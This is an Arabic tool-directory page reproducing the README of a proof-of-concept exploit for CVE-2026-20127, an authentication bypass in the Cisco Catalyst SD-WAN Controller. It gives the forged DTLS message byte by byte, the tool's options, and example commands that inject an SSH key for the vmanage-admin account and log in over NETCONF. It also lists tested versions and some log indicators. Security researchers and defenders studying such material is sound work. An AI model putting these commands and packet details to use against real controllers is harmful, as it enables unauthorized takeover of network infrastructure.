Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-20127 — استغلال لتجاوز المصادقة في وحدة تحكم Cisco Catalyst SD-WAN (CVE-2026-20127) يقوم بتزوير رسائل DTLS CHALLENGE_ACK_ACK للحصول على وصول غير مصرح به وحقن مفاتيح SSH. | Kitploit
أدوات/GitHubGitHub/sfewer-r7/cve-2026-20127
تحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالمصادقةالفريق الأحمر
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

استغلال لتجاوز المصادقة في وحدة تحكم Cisco Catalyst SD-WAN (CVE-2026-20127) يقوم بتزوير رسائل DTLS CHALLENGE_ACK_ACK للحصول على وصول غير مصرح به وحقن مفاتيح SSH.

عرض المستودع
24325منذ 7 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-20127

نظرة عامة

استغلال لثغرة تجاوز المصادقة في Cisco Catalyst SD-WAN Controller، وهي CVE-2026-20127.

يستهدف هذا الاستغلال معالج vbond_proc_challenge_ack_ack(). يرسل رسالة CHALLENGE_ACK_ACK مزوّرة (msg_type=10) تحتوي على بايت verify_status=1 يتحكم فيه المهاجم، مما يجبر الخادم مباشرة على تعيين authenticated=1 في إدخال النظير.

كيف يعمل

في مصافحة مستوى التحكم DTLS العادية:

  1. يتصل العميل عبر DTLS بشهادة
  2. يرسل الخادم CHALLENGE (msg_type=8)
  3. يستجيب العميل بـ CHALLENGE_ACK (msg_type=9) يحتوي على بيانات الشهادة
  4. يتحقق الخادم من الشهادة ويرسل CHALLENGE_ACK_ACK (msg_type=10) مع verify_status=1

يقوم هذا الاستغلال بتقصير المسار:

  1. يتصل العميل عبر DTLS بشهادة موقّعة ذاتياً
  2. يرسل الخادم CHALLENGE
  3. يرسل العميل CHALLENGE_ACK_ACK (msg_type=10) مع verify_status=1 مباشرة
  4. يقرأ vbond_proc_challenge_ack_ack() في الخادم قيمة verify_status من نص الرسالة — وهذه القيمة يتحكم فيها المهاجم
  5. بما أن verify_status != 0، يقوم الخادم بتعيين authenticated=1 (*(BYTE*)(a2+70) = 1)

بوابة المصادقة في vbond_proc_msg() تستثني msg_type=10 من فحوصات المصادقة، لذلك يعمل هذا حتى وإن لم يكن النظير مصادقاً بعد.

تم اختباره ويعمل بنجاح ضد Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart)، الإصدار 20.15.3.

تم اختباره ويفشل ضد Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart) المُصحّح، الإصدار 20.12.6.1.

الاستخدام

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

مثال

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

تُظهر لقطة الشاشة التالية استغلالاً ناجحاً والوصول اللاحق عبر SSH إلى خدمة NETCONF:

CVE-2026-20127 Example

التفاصيل التقنية

الدالة القابلة للاستغلال: vbond_proc_challenge_ack_ack()

تقع في العنوان 0x38AB7 في vdaemon (20.12.5). تعالج الدالة رسائل CHALLENGE_ACK_ACK الواردة وتحتوي على هذه الفحوصات الرئيسية:

  1. فحص التكرار (a2+112): يرفض إذا كانت رسالة CHALLENGE_ACK_ACK قد عولجت بالفعل لهذا النظير. في المرة الأولى، يكون هذا العداد 0 → ينجح.
  2. رفض vBond (a1+8 == 4): يُرجع 20 إذا كان الجهاز المحلي هو vBond. نحن نستهدف vSmart (type=3) → ينجح.
  3. إنشاء المؤقت: ينشئ مؤقت الترحيب ومؤقت انتهاء الصلاحية. من غير المرجح أن يفشل → ينجح.
  4. verify_status (a3+32): يقرأ البايت الأول من نص الرسالة. إذا كان صفراً → مسار الرفض (حذف النظير). إذا كان غير صفري → يعيّن *(BYTE*)(a2+70) = 1 (مصادق).

الخلل الحرج: تأتي قيمة verify_status مباشرة من نص الرسالة الذي يتحكم فيه المهاجم دون أي تحقق من جانب الخادم. تثق الدالة بادعاء النظير بشأن حالة التحقق.

استثناء بوابة المصادقة

في vbond_proc_msg()، تستثني بوابة المصادقة التي تمنع النظائر غير المصادقة من إرسال معظم أنواع الرسائل بشكل صريح msg_type=10 (CHALLENGE_ACK_ACK). هذا ضروري لمسار البروتوكول الشرعي (يرسل الخادم ACK_ACK إلى العميل قبل اكتمال المصادقة)، ولكنه يسمح أيضاً للمهاجم بإرسال ACK_ACK مزوّرة إلى الخادم.

تنسيق الإرسال

يرسل الاستغلال رسالة من 14 بايت:

Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

مؤشرات الاختراق (IOCs)

في هذا المثال، كان الهدف هو Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart)، الإصدار 20.15.3. كان للهدف عنوان IP 192.168.86.166 وكان للمهاجم عنوان IP 192.168.86.35.

سجّل ملف السجل /var/log/vsyslog هذه الرسائل:

Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

سجّل ملف السجل /var/log/vdebug هذه الرسائل:

تنزيل الأداة